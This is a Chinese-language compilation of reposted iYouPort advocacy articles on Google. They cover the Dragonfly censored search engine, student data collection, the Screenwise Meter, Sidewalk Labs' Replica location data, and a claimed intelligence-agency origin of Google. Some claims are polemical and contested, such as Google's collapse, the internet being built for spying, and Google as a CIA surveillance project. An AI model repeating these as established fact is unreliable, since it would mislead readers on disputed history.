在其巅峰时期，谷歌拥有庞大而忠诚的用户群，产品数量惊人，但广告收入却是将所有产品整合在一起的粘合剂。随着数据的减少，谷歌的核心开始在其庞大的帝国的重压下垮台。

自 1998 年以来谷歌一直是科技行业的推动力。但在人们鄙视广告的世界里，谷歌的监视资本主义商业模式并不是创新友好的，他们错过了几次转向的机会，最终使他们无数雄伟壮观项目不可持续。创新需要资金，谷歌的主要收入来源已经开始枯竭。

在短短的几年里，谷歌已经从一个有趣的，普通的动词“谷歌一下”，变成了一个巨人可以迅速堕落的警示。

本文希望说明：下一个要对付的应该是亚马逊这个巨魔，该公司的恶毒在所谓的“智能家居”方面的表现尤其明显，他们把语音装置、灯泡、门锁等等一大堆玩意塞进你的家里，而你根本无法知道这些专有软件什么时候会变成窃听器和偷窥的眼。技术界有句流行语：“最愚蠢的人最喜欢智能设备”，那些看起来便捷省力的东西正是最危险的因素。

并不是拒绝科技，肯定不是，而是拒绝这种巨头垄断的暗箱技术。消费者应该支持开源和数据管理透明化，及相关完备的法律保障。否则，就不是科技进步，而是 1984 还魂。

原文

谷歌拒绝回答未来是否仍继续蜻蜓 - iYouPort

关于谷歌-监视资本主义的创始人

“他们不再收集来自中国大陆的搜索查询，而是研究居住在美国和马来西亚等其他国家的华人使用谷歌搜索的内容”

---

intercept 得知，谷歌已经被迫关闭了一个数据分析系统，该系统用于为中国开发审查版搜索引擎，该公司的隐私团队成员提出内部投诉，称该公司一直对他们隐瞒。舆论轰动迫使该公司短期搁置该项目，但拒绝承诺未来是否会继续。

该争议于8月中旬开始，当时 The Intercept 透露，在 Dragonfly 工作的谷歌员工一直在使用北京的网站来帮助开发用于审查搜索引擎的关键字的黑名单，该搜索引擎旨在阻止与民主相关的各类信息。

位于北京的网站265.com是一个中文目录服务，自称是“中国最常用的主页”。谷歌于 2008 年从亿万富翁中国企业家那里购买了该网站。265.com为其中国用户提供新闻更新，金融市场信息，占星术以及廉价航班和酒店广告。它还具有允许人们搜索网站、图像和视频的功能。

但是，在265.com上输入的搜索查询被重定向到百度，这是中国最受欢迎的搜索引擎，也是谷歌在该国的主要竞争对手。正如 The Intercept 在8月报道的那样，谷歌似乎已经将265.com用作市场研究的蜜罐，在将中国用户的搜索信息发送到百度之前存储这些信息。

根据谷歌的两个消息来源，在 Dragonfly 工作的工程师获得了大量的数据集，显示了中国人进入265.com搜索引擎的查询内容。至少有一名工程师获得了访问与265.com相关联的“应用程序编程接口”或 API 所需的密钥，并使用它来从站点获取搜索数据。然而，谷歌隐私团队的成员却对使用265.com毫不知情—— 这严重违反了公司协议。

工程师们使用他们从265.com获取的数据来了解中国大陆的用户经常搜索的东西。这有助于他们构建 Dragonfly 的原型。例如，工程师使用265.com的示例查询来查看中国人在向 Google 输入相同的单词或

短语时会看到的网站列表。然后，他们使用他们称为“BeaconTower”的工具来检查谷歌搜索结果中的任何网站是否会被中国的互联网审查系统（称为防火墙）阻止。在这个过程中，工程师编写了数千被禁止网站，他们融入了蜻蜓的搜索平台，以便它会清除这些链接。

最近几周，在 Dragonfly 工作的团队被告知要使用不同的数据集进行工作。他们不再收集来自中国大陆的搜索查询，而是研究居住在美国和马来西亚等其他国家的华人使用谷歌搜索的内容; 这些查询与源自中国境内的搜索在质量上有所不同，使得 Dragonfly 团队几乎不可能磨练结果的准确性。值得注意的是，现在已经有几组工程师完全离开了 Dragonfly，并告诉他们将注意力转移到中国之外，转而从事与印度，印尼，俄罗斯，中东和巴西相关的项目。

记录显示，265.com仍然托管在谷歌服务器上，但其实际地址以“北京古巷信息科技有限公司”的名义列出，该公司在北京西北部海淀区一座塔楼的三楼设有办公空间。265.com作为谷歌的子公司运营，但与大多数谷歌拥有的网站（如 YouTube 和 Google.com）不同，它在中国没有被屏蔽。

谷歌最初的目标是在 2019 年1月至4月期间推出 Dragonfly。两位熟悉该项目的消息人士表示，泄漏该计划以及随之而来的内部和外部强烈反弹似乎迫使公司高管至少在短期内搁置它。

Google has been forced to shut down a data analysis system it was using to develop a censored search engine for China. Pichai stated that “right now” there were no plans to launch the search engine, though refused to rule it out in the future.

原文

谷歌正在对你的孩子下手 - iYouPort

关于谷歌-监视资本主义的创始人

我们提醒过不要让谷歌和亚马逊等老大哥的间谍进入您的卧室（在这里看到《👀亚马逊和谷歌正在将新的监视和窃听设备塞进您的居室和汽车里》）很多人表示，只要我们不买那些所谓的智能产品就行了。非常赞！但是，您的孩子恐怕没得选—— 老大哥的黑手已经伸向了您的孩子。

去年，20% 的 K-12 学生被要求使用谷歌 Chromebook，总计超过 3000 万学生、教师和管理员使用谷歌的 G Suite for Education。便宜的笔记本电脑和功能强大的软件已成为学校教授计算机和其他技能以及与学生和家长之间沟通的极具成本效益的解决方案。孩子们可以提交作业，参加考试，检查成绩，并使用这些 Google 产品与他人协作。

⚠ 根据电子前沿基金会（EFF）的报告，这些谷歌产品还为谷歌、学校和其他软件制造商提供了收集学生个人数据的机会。基本上，这些产品是谷歌用来推动其广告业务的特洛伊木马。

EFF 发现许多学校没有提供有关数据收集的书面披露或没有非常关注隐私条款，而且大多数学校都没有为学生提供退出的选项，没有提供替代方案。⚠这意味着学生对谷歌的防备比成人更少，谷歌利用了这种松懈，建立了学生的详细档案，并将其用于广告、市场研究和其他目的！

在众多诉讼案件中，Google 已承认这样做了，⚠包括扫描和索引学生的电子邮件、以及向13岁以下的 YouTube 用户发送广告。谷歌还承认，它收集了通过其教育软件登录的学生用户的各种个人信息。

⚠ 但这么做的不仅仅是谷歌。在其调查中，EFF 发现其他软件公司也在学生使用他们的产品时收集学生的个人数据。

Google Is Developing Dossiers on Students Using Their Classroom Products, Disclosures Show: Google has admitted to doing this, including scanning and indexing student email messages and

directing advertising to YouTube users under 13 years of age. Google also acknowledged that it collects a wide range of personal information from student users who log in through its educational software. But it’s not only Google. In its survey EFF found other software companies are also collecting students’ personal data when students use their products.

原文

谷歌正在对其中国审查版搜索项目进行秘密的"绩效评估" - iYouPort

关于谷歌-监视资本主义的创始人

谷歌并没有停止中国审查版搜索引擎项目，只是其行事更加隐秘了，该寡头露出了什么线索？

「图」

「图」

The Intercept 披露，Google 执行官正在对中国的审查版搜索引擎进行秘密的内部评估。

参与评估的是一小部分高层管理人员，该项目称之为 Dragonfly，旨在将有关人权、民主、宗教、和平抗议等一系列信息列入黑名单。

关于谷歌的分析详见 IYP 分类知识列表2个中的“关于谷歌”部分。

Google 每年都会进行绩效评估，以评估员工的产出和发展。这些评估通常以开放的同行评审方式进行：工作人员对彼此的项目进行评分，然后由管理层对结果进行评估，如果员工被认为已经准备好了在公司取得进步，他们就可以奖励员工。

然而，在 Dragonfly 项目的情况下，同行评审方面已被删除，完全颠覆了正常程序。在一项被两个谷歌消息来源描述为极不寻常的行动中，高管们成立了一个独立的“审查委员会”小组，由高级管理人员组成，他们之前都被告知过中国的审查版搜索引擎。

蜻蜓审查委员会的存在尚未向谷歌员工披露，除了极少数从事开发审查版搜索引擎的工作人员。据说该公司不到十几名高层管理人员参与了评审，其中涉及研究与 Dragonfly 相关的文件和技术工作。

“管理层决定承诺保密这些东西，”一位了解该评审的消息人士表示。他们“从[员工]审核工具中获取任何 Dragonfly 专用文件，因此此次审

核仅由 Dragonfly 项目委员会决定。”

据两位谷歌消息人士透露，高管们可能担心，如果对 Dragonfly 进行正常的、更开放的绩效评估过程，公司的员工就会了解该项目的内幕。

据两位消息人士透露，如果有关 Dragonfly 的一些文件在公司内部得到更广泛的访问，可能会引发关于该项目的进一步争议，该项目在 The Intercept 首次曝光后引发了内部激烈的抗议和辞职潮。

然而，秘密进行审查的决定本身可能会引起公司内部的愤怒。在去年对 Dragonfly 的抗议活动中，员工的一个主要抱怨是，中国计划缺乏透明度，违背了公司传统的开放式工作场所文化。在公开曝光之前，关于 Dragonfly 的知情仅限于 Google 的88,000名员工中的几百人了解—— 约占员工总数的0.35%。

面对来自公司内部和外部的压力，谷歌首席执行官桑达皮采在八月危机会议上告诉他的工作人员，他们“肯定会透明[关于蜻蜓项目]，我们当然计划更多地参与并多表达。“

但是，谷歌员工本周告诉 The Intercept，公司老板一直拒绝向他们提供有关 **Dragonfly** 的信息—— 让他们对这个项目的状态以及公司对中国的更广泛计划一无所知。

去年年底，在激烈的批评声中，谷歌高管们让工程师远离了审查版搜索引擎的工作，并公开表示目前没有计划推出它。然而，三月早些时候，The Intercept 继续透露，一些谷歌员工担心审查版搜索引擎的工作仍在继续，因为该平台的部分内容似乎仍处于开发阶段。谷歌随后否认蜻蜓仍在进行中，坚持声称“没有对这样的项目进行任何工作。团队成员已搬到新项目。“

谷歌此前曾于2006年在中国推出搜索引擎，但在2010年退出该国。当时谷歌联合创始人谢尔盖布林表示，停止在该国开展搜索业务的决定主要是“反对审查制度并为政治异议的自由辩护”。

蜻蜓代表了这一立场的戏剧性逆转。谷歌计划推出的搜索引擎作为 Android 和 iOS 设备的应用程序，旨在遵守中国执政的共产党政权制定的严格审查规则，监控人们的搜索行为，同时还阻止数千个概念，如“诺贝尔奖”，“”人权“和”学生抗议“等。

超过60个人权组织和22个美国立法者写信给谷歌批评该项目。今年2

月，国际特赦组织与谷歌会面，重申了其对中国计划的担忧。“围绕蜻蜓项目的发展缺乏透明度是非常令人不安的，”国际特赦组织研究员 Anna Bacciarelli 说，“我们继续呼吁谷歌首席执行官桑达皮采公开证实它放弃 Dragonfly，而不仅仅是’暂时的搁置并秘密进行’。” ○

GOOGLE IS CONDUCTING A SECRET “PERFORMANCE REVIEW” OF ITS CENSORED CHINA SEARCH PROJECT. “We continue to call on Google’s CEO Sundar Pichai to publicly confirm that it has dropped Dragonfly for good, not just ‘for now.’”

原文

谷歌比 Facebook 更邪恶 - iYouPort

关于谷歌-监视资本主义的创始人

你喜欢圆形监狱吗？欢迎加入啊～ 这就是为什么谷歌比 Facebook 更邪恶，因为它可以让你”愿意”变成无知的小白鼠。他们是怎么做的？

想象一下：一家巨头科技公司正在跟踪您在手机上的一切操作，即使您没有使用任何服务，他们也可以跟踪您看到的特定图像；它还会跟踪您的所有网络流量，因为您安装了一个专门设计的路由器；即使某些流量已加密，但由于DNS解析的工作原理，它仍然可以知道您访问的网站都是什么；哦，它还可以录制放置在电视附近的自定义麦克风的音频，并分析它听到的所有内容。

不，我们不是在谈论 Facebook，我们已经详细分析了很多 Facebook 的狡猾、隐私侵犯和破坏安全的所谓“用户研究”计划的可怕后果。这里说的是谷歌的 “ScreenWise Meter”，另一个伪装的“研究计划”，就像 Facebook 一样，近期被曝光时引发了舆论爆炸。

为了监视 iOS 用户，Facebook 绕过了 Apple 严格的应用程序分发规则；而谷歌在此做的事完全一样。苹果公司迅速撤销了这两个巨头的企业证书，关闭了所有 Facebook 和谷歌的内部iOS应用程序和工具。

我们绝不是 Apple 围墙花园的粉丝，它严格控制谁能在其平台上玩谁不能；然而，这场大戏引发了对用户的欺骗性信息以及围绕两个全景监视器的数据收集实践的严重关注。

尽管谷歌退出了iOS应用程序，但其 Screenwise Meter 监控程序的所有其他部分仍处于运行状态—在某些情况下，他们收集的关于“被研究用户”的数据甚至比 Facebook 弄到的更多。

在某些方面，谷歌的监视项目并不像 Facebook 那样糟糕，而在其他方面，谷歌更糟糕。“不太糟糕”的部分在于：它不是直接针对青少年的，没有偷偷地隐藏自己的目的，它没有要求用户安装自定义根证书，谷歌反乌托邦盈利模式本身使得它很清楚公司正在做什么；

“更糟糕”的部分：它要求你进入一个圆形监狱。虽然一直以来，谷歌在所有人的线上和线下生活中都有很强大的跟踪监视能力，但是，Screenwise 项目依旧能在此之上迈出了一大步。

Screenwise Meter 移动应用程序和 Web 扩展程序基本上允许 Google 查看您在手机屏幕和Web浏览器窗口中看到的内容。该应用程序可以通过在智能手机上侧载“自定义”应用程序来监控您的所有应用使用情况和网络流量。由于谷歌没有要求你安装像 Facebook 这样的根证书，他们无法解密 HTTPS 流量，但是，应用程序可以在你的屏幕上看到任何内容，详见其隐私政策的“屏幕上内容”部分。

假设您打开 Snapchat 应用程序，谷歌可以看到这一点；假设您需要输入密码，谷歌也可以看到这一点；假设您发送了一条消息给朋友，是的，谷歌也可以看到。

其网络扩展甚至超出了 Facebook 愿意做的跟踪水平。Facebook 显然能够跟踪80％的互联网流量，但谷歌认为这是不够的：即使是通过 HTTPS，扩展程序也会将您的所有网络浏览报告回 Google。

它还可以收集您在任何网站上的每一个动作（从撰写私人消息到浏览购物网站），以及存储或保存在浏览器中的任何信息。⚠ 谷歌甚至承认通过这个计划收集社会安全号码和信用卡号码，尽管它声称这些“不是监控的焦点”。

此外，Screenwise 通过自定义路由器侵入您的私人生活空间。它无法拦截HTTPS流量，但由于DNS查找目前尚未加密，因此 Google 可以记录任何人在连接到 WiFi 时访问的每个网站。当然，它也可以在家庭WiFi上看到任何未加密的应用和网络流量。

最重要的是，有一个“TV Meter”，它是一个永远在线的麦克风，可以收集和发送来自电视的Google音频并且可以拾取任何附近发出的对话 —— 窃听你的起居室。

虽然谷歌对其计划的解释比 Facebook 更为明确，但对于许多人来说，如果他们没有阅读所有冗长的隐私政策的耐心，他们就不会知道自己正在如何被谷歌监视。

这些设备不仅仅是监视一个人—它们在监整个家庭，这可能涉及不太可能知道监视存在的客人和13岁以下的儿童。是的，谷歌“禁止”13岁以下的儿童参与这种侵入式数字跟踪，提供在孩子参与或客人来访时暂停跟踪的选项，并要求用户通知任何住宿客人有关监控的信息。但

实际上，这是在为公司提供保障，而不是保护您的孩子或客人——**Screenwise** 只是将责任转移到受监视的用户身上—— 这完全是在宽松的隐私法律下允许的行为，并且需要在新的隐私法律下进行更改的部分，所以它目前是灰色地带，这就是谷歌的狡猾。

最后，Google 的所有声明都没有明确说明它与谁共享了所有这些数据。在其隐私政策的最后，谷歌提到它可以与“受信任的企业”共享所有这些收集到的信息，而不会暗示这些信息的获取者可能是谁、或他们可能对我们的数据做些什么。

Screenwise 不是唯一的问题。一项新的研究详细介绍了 Google 一直以来如何欺骗普通用户“选择”接受跟踪。

随着时间的推移，越来越清楚的是，我们不能依赖公司的“道德”和“价值体系”来判断自己的“同意”。它们从来没有道德。充满行话的对话框、精美的打印页面和隐藏的隐私政策都是骗局。当通过收集和销售我们的数据来推动利润时，这些公司眼里只有钱。

Google Screenwise: An Unwise Trade of All Your Privacy for Cash. it’s asking you to opt into a panopticon. Although Google is heavily involved in much of the general public’s online and offline lives, Screenwise takes it a big leap ahead.

与大多数内容网站不同，***IYP*** 没有付费墙、不会投放广告、也不会出卖您的信息；我们需要您的支持来获得生存。如果您觉得我们提供的内容对您有用，您可以帮助我们活下去。谢谢！***PayPal*** 和 比特币捐助通道已开通，您可以在网页上找到两个浅橙色按钮

原文

谷歌的 Sidewalk Labs 打包出售数百万部手机的位置数据 - iYouPort

关于谷歌-监视资本主义的创始人无处不在，无处可逃-所谓的“智能”是什么

解决问题必须彻底

编者按：一次又一次的曝光并不是办法。人们很快会变得麻木，媒体会更快失去对隐私丑闻揭露的报道兴趣。如果不能彻底推翻监视资本主义体制本身，丑闻将无穷无尽，任何揭露都不再能帮助我们摆脱灾难。

「图」

「图」

城市规划人员收集的大部分数据是混乱的、复杂的且难以说明问题的。它看起来就像所谓的 “模拟城市系列 SimCity” 这样的城市模拟器游戏中关于城市生活的平滑图表。Google 母公司 Alphabet 的城市建设子公司 Sidewalk Labs 的一项新计划已着手改变这一现状。

该计划被称为 “Replica 副本”，它为规划机构提供了对整个城市人口的运动模式进行建模的功能。

Replica 的 “用户友好” 工具部署了统计模拟，以提供有关人们在城市地区的一举一动、时间和地点的全面视图。

对于规划人员而言，“在运输和土地使用方面做出重要决定” 的前景听起来非常诱人。近几个月来，堪萨斯城、波特兰和芝加哥地区的交通部门已签署协议，以收集其数据分析。唯一的问题是：他们并不确定数据来自哪里。

典型的城市规划师依赖于诸如调查和旅行计数器之类的过程，这些过程通常很耗时、费力且老旧。相反，Replica 使用实时移动位置数据。

正如 Sidewalk Labs 的 Nick Bowden 所解释的那样：“ Replica 提供了全套基线出行度量标准，这些度量标准在今天很难收集和维护，包括高速公路或本地街道网络上的总人数，这些行人使用的是哪种模式出行（汽车、公交、自行车、或步行）及其出行目的（上下班、逛街、上学 等等）。”

为了进行这些测量，该程序会收集并去识别手机用户的位置，⚠ 这些位置数据是从神秘的第三方供应商处获得的。然后在模拟中对这些数据进行建模。他们创造了一个能够忠实复制城市真实世界格局的工具，但 “模糊了个人的真实世界出行习惯”，Bowden 说。

该计划恰恰是在科技公司如何使用和共享我们的个人数据这一问题变得越来越令人不安的时候提出的，同时提出的还包括质疑 Google 侵占物理世界的新问题。

5月，纽约时报披露了第三方如何从我们的智能手机中获取敏感的位置数据 —— 通常是在同意条款薄弱或根本不存在的情况下。1月初主板进行的一次调查进一步证明了这些公司如何将我们每个人的位置出售给付得起钱的任何人和赏金猎人。

- 《1200万部电话，一个数据集：利维坦眼中的世界》

而谷歌姊妹公司从数百万部手机中收集和商品化实时位置数据的做法增加了这些担忧。

“手机位置数据非常敏感。”《The Smart Enough City》的作者 Ben Green 在邮件中写道，“这些隐私问题远非理论上的”。

美联社的一项调查显示，即使用户禁用了手机上的位置记录，Google 应用和网站依旧会对其进行跟踪。Quartz 发现，即使所有位置服务都已关闭，Google 仍通过收集附近手机塔的地址来跟踪 Android 用户。该公司还被发现使用街景工具从电话和计算机收集Wi-Fi位置数据。

- 《即便禁用位置服务苹果依然追踪你》

Bowden 狡辩说，“Sidewalk Labs 收到的任何位置数据都已经被取消了身份识别（使用聚合、差异化隐私技术或直接删除独特行为等方法）。Replica 获得的数据不包括设备的唯一标识符，而这些标识符可以用来揭开某人的唯一身份。”

这是扯蛋。关于为什么是扯蛋：

- 《数据匿名化的陷阱》
- 《即使数据是匿名的，您的身份仍然可以被识别》

一些城市规划师和技术专家在强调该计划概念的优雅和新颖性的同时，仍然对这些隐私声辩持怀疑态度，询问 Sidewalk Labs 如何定义个人身份信息。

加拿大互联网政策与公共利益诊所的工作人员律师 Tamir Israel 警告说，如果 Sidewalk Labs 在制作合成模型之前就能获得人们独特的移动路径，那么根据他们在哪里睡觉或工作，不就可以知道他们是谁吗？

“我们看到很多公司都在数据收集上犯了错误，仅做了粗略的去身份识别，相比于其他类型的数据，位置数据早已被证明具有高度的可再识别性，”他补充道。“很明显，人们每天早上离开哪里晚上又回到哪里，每天从晚上9点到下午5点在哪里停留，这些都是很明显的。”

一项具有里程碑意义的研究发现，仅用四个带有时间戳的数据点，就可以从看似“匿名”的数据中重新识别出人们的身份，而这些数据点就是目标人之前去过的地方。

此外 Sidewalk Labs 如何遵守“知情同意”标准的问题也是模糊不清的。正如过去一年的隐私泄露海啸所显示的那样，许多用户并不了解自己的数据被跟踪的程度，以及他们的数据被转售给广告商或第三方如 Replica 这类东西的频率。

“同意”在历史上一直是由宽泛而模糊的服务条款来定义的，利用公司对复杂的技术细节的独家知情权，广大用户基本没有时间来阅读 —— 更不用说去理解 —— 他们那些充满行话的隐私政策。

例如，时报的调查发现，“人们在被提示给予许可时看到的解释往往是不完整的或误导性的。”即使他们可能在不透明的隐私政策中保留了出售或分享位置数据的广泛权利，但很多应用并没有明确告诉用户他们在这样做。

在不清楚数据来自哪里的情况下，很难评估谁可能是同意的。Sidewalk Labs 解释说，Replica 的数据是从电信公司和其他公司购买的，这些公司从不同的**APP**中聚合移动位置数据。

然而，由于数据的确切来源还没有被披露，目前还不清楚 Replica 是否从那些不受监管的APP中吸取了用户的准确行踪，从而获利。关于

Replica 的确切数据来源，来自试行或购买 Replica 的城市的公开文件所提供的是完全矛盾信息。

伊利诺伊州交通部的一份文件将 Replica 的数据来源描述为 “移动运营商数据、第三方聚合商的位置数据和谷歌的位置数据，以生成一个地区的出行数据。” 它补充说，这种数据样本 “不限于安卓设备”，“每次从个人身上收集几个月的数据，可以全面了解一个人的出行模式”。

在波特兰，提交给市议会的文件中说，数据来自于 “安卓手机和谷歌应用”。波特兰交通局的官员告诉俄勒冈州公共广播电台，Sidewalk Lab 的移动位置数据中的一些也可能来自其他来源，他们还不知道。

堪萨斯城的一次区域交通规划会议的记录显示，**Replica** “有可能获得 **Uber** 和 **Lyft** 这样的东西的数据”，而该市的一份PPT称，该工具 “基于谷歌的数据”。

Replica 获利的方式还包括汇总有关我们所有人的一举一动的数据然后将其卖给政府。

该计划最初是由 Sidewalk Labs 提出的，目的是为了支持多伦多东部滨水区有争议的所谓 “智能城市” Quayside 的发展。Sidewalk Labs 的发言人告诉 The Intercept，目前还没有计划将 Replica 带到多伦多。

然而，多伦多人一直密切关注着 Replica 的计划。有些人认为，这个项目是一个典型案例，说明 Sidewalk Labs 在 Quayside 开发的专有工具和技术可以出口或进口到其他城市，而不会给产生这些数据的居民带来任何额外的经济利益。

- “智能城市” 究竟是什么《被俘虏的城市：为什么人们会接受可怕的军统？》

“**Replica** 是监视资本主义的一个完美例子，当我们使用这些产品时，他们必然会从我们的私密数据中获利”，加拿大公民自由协会的隐私、技术和监视项目主任 Brenda McPhail 说，“作为一个社会，我们需要开始问自己，是否应该继续允许这种未经有意义的同意就利用我们的私密信息的商业模式，是时候开始反思了。” ○

GOOGLE’S SIDEWALK LABS PLANS TO PACKAGE AND SELL LOCATION DATA ON MILLIONS OF CELLPHONES

原文

谷歌的真面目—— They’re always watching - iyouport

关于谷歌-监视资本主义的创始人

【2017年12月8日存档】谷歌到底是谁？了解它的来历就能知道为什么它非常可怕。它从来就不是为公民服务的。

「图」

二十年前，美国情报界与硅谷密切合作，努力追踪网络公民—— 谷歌就是这个大规模间谍活动的核心。谷歌雄心勃勃创作的诸多研究都是由情报界建立的研究小组资助和协调的，目的是：寻找在线跟踪个人和群体的方法。他们成功了，这就是为什么今天你能生活在这个风声鹤唳的反乌托邦世界里。

情报界希望该国领先的计算机科学家能够将非机密信息和用户数据与所谓的互联网相结合，并创建营利性商业企业，最重要的是满足情报界的需求。他们希望从一开始就指导超算革命，以便了解数百万人在这个数字信息网络中所做的事。这种合作使今天的全球公众所遭受的大规模监视状态成为可能。

故意创建现代大规模监视国家的内幕包括谷歌令人惊讶的且很大程度上未知的起源。一直以来你所听到的那些关于起源的故事只是来说冠冕堂皇的宣传，而不是事实。

您应该还记得我们不是第一次讲述这个问题。IYP曾经提供了很多相关资料，比如下面：

- 硅谷从来都是当权者的工具《How The CIA Made Google》
- 大型科技公司如何一直在帮助间谍活动《Spies for Hire》
- “大多数情报工作不是由政府机构执行的，而是私人情报公司，而且大部分工作涉及情报工作的另一个共同方面：欺骗”……《The Real War on Reality 》
- 《谷歌控制的世界和监视资本主义》
- 更多：《谷歌想要什么》

- 《监视资本主义巨头们如何杀死了民主》
- 《如何才能挑战 Facebook 并取得胜利？—— Distributed Social Network》

这不仅仅是谷歌的起源故事：它本身就是大规模监视国家的起源故事，最重要的是资助它的政府资金。

——背景：情报界和硅谷——

在20世纪90年代中期，美国的情报界开始意识到他们有了一个新机会。超算社区刚刚开始从大学环境迁移到私营部门，由一个名为硅谷的地方投资领导。

一场数字革命正在开启：一场即将改变数据收集世界以及我们如何理解大量信息的革命。情报界希望在一开始就塑造硅谷的超算工作，因此这些研发对于军事和维稳目的都非常重要。这个能够存储数TB信息的超算网络是否能够准确地感知并分析人类留下的数字轨迹？

情报界对这个问题的答案非常感兴趣。

情报收集可能是他们的整个世界，但中央情报局（CIA）和国家安全局（NSA）已经意识到他们的未来可能会在政府之外形成深刻的影响。当时在克林顿政府内部的军事和情报预算处于紧张之中，而私营部门拥有大量资源可供支配。如果情报界希望进行史无前例的大规模监视，那么就需要政府与新兴超算公司之间的紧密合作。

为此，他们开始接触正在创造这场超算革命的美国大学的科学家们，这些科学家正在开发一种方法来做那些国安局和中情局工作站的人都无法做到的事：收集大量数据，并对其进行情报感知。

——丰富的政府科研经费历史——

美国最好的科学家和情报界之间已经有长久的合作历史，从原子弹和卫星技术的创造到将人类送上月球的努力。

事实上，互联网本身就是由于情报工作的需求而创建的：在20世纪70年代，负责开发军事、情报和国家安全新兴技术的机构—国防高级研究计划局（DARPA）—连接四台超级计算机来处理海量数据传输。详见以下资料：

- 《互联网究竟是什么？—— 来自“监视谷”惊人的启示》
- 《我们不能被互联网摧毁”—— 新的全球性革命正在拉开序

幕》
- 《互联网失败了我们还能找回最初的公平和自由吗？》
- 《社交媒体审查在美国才刚引起震惊，这不科学》
- 《我们正生活在一个什么样的的世界？：新黑暗时代》

整个硅谷都不例外。到20世纪90年代中期，情报界正在为学术界最有希望的超算工作提供资金，指导创造大量信息以对私营部门和情报界都有用的努力。

他们通过一个由大型军事和情报承包商为中央情报局和国家安全局管理的非机密、高度划分的计划为这些计算机科学家提供资金。该计划被称为大规模数字数据系统（MDDS）项目。

——大规模数字数据系统（**MDDS**）项目——

MDDS被介绍给斯坦福大学、加州理工学院、麻省理工学院、卡内基梅隆大学、哈佛大学等数十名计算机科学家，并在白皮书中介绍了CIA，NSA，DARPA 和其他机构希望实现的目标。

该研究主要由 NSF 等机构提供资金和管理，如果能够实现情报界所希望的，那么该体系结构将在私营部门扩大规模。

“不仅活动变得更加复杂，而且不断变化的需求要求IC [情报社区]处理不同类型以及更大量的数据，”情报界在1993年的 MDDS 白皮书中说。“因此，IC 正在积极推动有效管理海量数据库的研究，并确保将 IC 要求纳入或适应商业产品。由于挑战并非任何一个机构所独有，社区管理人员（CMS）已经委托大规模数字数据系统[MDDS]工作组来满足其需求，并确定和评估可能的解决方案。“

在接下来的几年里，该计划的目标是提供数十亿美元的赠款，以推进这一研究概念。这些拨款主要通过美国国家科学基金会进行，以便最有希望的、最成功的努力可以作为知识产权获取，并成为吸引硅谷投资公司的基础。

这种公私合作“创新体系”帮助推出了高通、赛门铁克、Netscape 等强大的科技公司，并资助了多普勒雷达和光纤等领域的关键研究，这些研究是当今 AccuWeather，Verizon 和AT＆T等大公司的核心。

今天，NSF 为大学计算机科学研究提供了近90％的联邦资金。

- 更多详见：《最新披露文件：科技产业巨头为什么能成为巨头？》

——CIA和NSA的最终目标——

中央情报局和国家安全局的研究部门希望学术界最好的计算机科学家们能够识别出他们所谓的“鸟羽”：就像大雁一起以超大的V字形飞翔，或成群的麻雀般的聚集，使突发的运动能将人们融合在一起，他们预测志同道合的人群会在网上步调一致地移动。

情报界为科学家们提供了他们的第一次非机密简报“鸟羽”，并在1995年春天的圣何塞费尔蒙特酒店举办了“关于大规模数字系统情报社区倡议的会议”。

他们的研究目标是跟踪迅速扩展的全球信息网络中的数字指纹，该网络当时被称为万维网。

是否可以监视整个数字信息世界，以便跟踪和分类人类在这样的网络中发出的请求？人们的查询搜索是否可以按重要性排列和排名？能否在这个信息海洋中识别出“鸟羽”，以便能够以有组织的规模跟踪社区和群体吗？

通过与新兴的商业数据公司合作，他们的目的是跟踪互联网上志同道合的人群，并从他们留下的数字指纹中将他们识别出来，就像法医科学家使用指纹污迹识别罪犯一样。

——谢尔盖布林和拉里佩奇——

1995年，斯坦福大学的计算机科学研究团队获得了最早和最有前途的MDDS 资助之一，与NSF和DARPA资助有着长达十年的合作历史。

此授权的主要目标是“使用’查询人群’方法描述的非常复杂的查询优化。”第二个拨款—— 与 Google 的起源最密切相关的 DARPA-NSF 拨款—— 是以互联网为骨干建立大规模数字文库的协调努力的一部分。

这两项拨款都资助了两名研究生的研究，他们在网页排名方面取得了快速的进展，并且跟踪（并理解）用户的查询：他们就是未来的谷歌联合创始人谢尔盖布林和拉里佩奇。

Brin 和 Page 在这些拨款下的研究成为了 Google 的核心：人们使用搜索功能在一个非常大的数据集中准确找到他们想要的东西。然而，情报界在他们的研究中看到了一个稍微不同的好处：网络能够如此有效地组织，以便能够精准地识别和跟踪每一个用户吗？

这就解释了为什么情报界发现布林和佩奇的研究工作如此吸引人；在此之前，中央情报局主要利用该领域的人力情报工作来识别可能构成威胁的人员和团体。提供虚拟网络跟踪人们的能力（与现场工作相结合）将改变一切。

这就是短短几年内成为谷歌的开端。负责领导该计划的两名情报部门管理人员在他的研究进展中定期与布林会面，并且在他和佩奇离开谷歌之前，他还是其他几篇研究论文的作者，这些论文都是由这项 MDDS 资助产生的。

这笔赠款使 Brin 和 Page 能够完成他们的工作，并为他们在网页排名和跟踪用户查询方面的突破做出了贡献。谷歌尚未成立时他只是一名斯坦福研究员，利用国家安全局和中央情报局通过 MDDS 计划提供的资助。

——离开谷歌的故事——

MDDS 资助的主要研究者特别将 Google 命名为他们的研究的直接结果："它的核心技术，使它能够比其他搜索引擎更准确地找到页面，这部分资金起到了作用。"在包括 Brin 一些关键工作的已发表的研究论文中，作者还参考了由 MDDS 计划创建的 NSF 资助。

相反，每个关于 Google 创始的故事中只提到一个联邦资助：NSF / DARPA "数字文库"资助，旨在让斯坦福大学的研究人员能够搜索当时存储在大学服务器上的整个万维网。但这不是全部事实。

"谷歌算法的开发是在各种计算机上进行的，主要由斯坦福大学 NSF-DARPA-NASA 资助的数字文库项目提供，"斯坦福大学的 Infolab 说，NSF 同样仅在其自己的 Google 历史记录中引用数字文库资助，而不是 MDDS 资助。

在著名的研究论文"大型超文本网络搜索引擎剖析"中描述了 Google 的创建，Brin 和 Page 感谢 NSF 和 DARPA 向斯坦福提供的数字文库资助。但是，来自情报界 **MDDS** 计划的资助—专门为谷歌建立的突破而设计—这一历史记录已经逐渐被消失。

谷歌过去曾表示，它"不是由中央情报局资助或创建的"。例如，当 2006年流传的谷歌多年来从情报界获得资金时，该公司告诉连线杂志创始人 John Battelle，"与谷歌有关的陈述完全是不真实的。"如果人们一直使用谷歌"查找真相"，就无法找到这些真正的真相。

中央情报局是否直接为布林和佩奇的工作提供资金，从而创建谷歌？似乎没有。但是，布林和佩奇是否正确地研究了美国国家安全局、中央情报局和情报界希望得到的帮助？绝对是。

